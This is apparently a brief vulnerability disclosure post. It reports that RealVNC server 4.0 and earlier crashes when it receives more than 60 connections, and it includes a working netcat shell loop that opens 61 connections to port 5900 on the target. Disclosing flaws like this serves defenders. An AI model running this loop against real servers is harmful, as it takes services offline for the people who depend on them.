RealVNC 4.0 DoS

[Allan Zhang <zhangliangsd@xxxxxxxxxxx>]

It will cause RealVNC server die if there are more than 60 connections.

Tested against RealVNC serveron W2k using the following script:
for i in `seq 1 61`
do
   nc <server_ip> 5900
done

This will impact version before 4.0 also. 

Thanks
Allan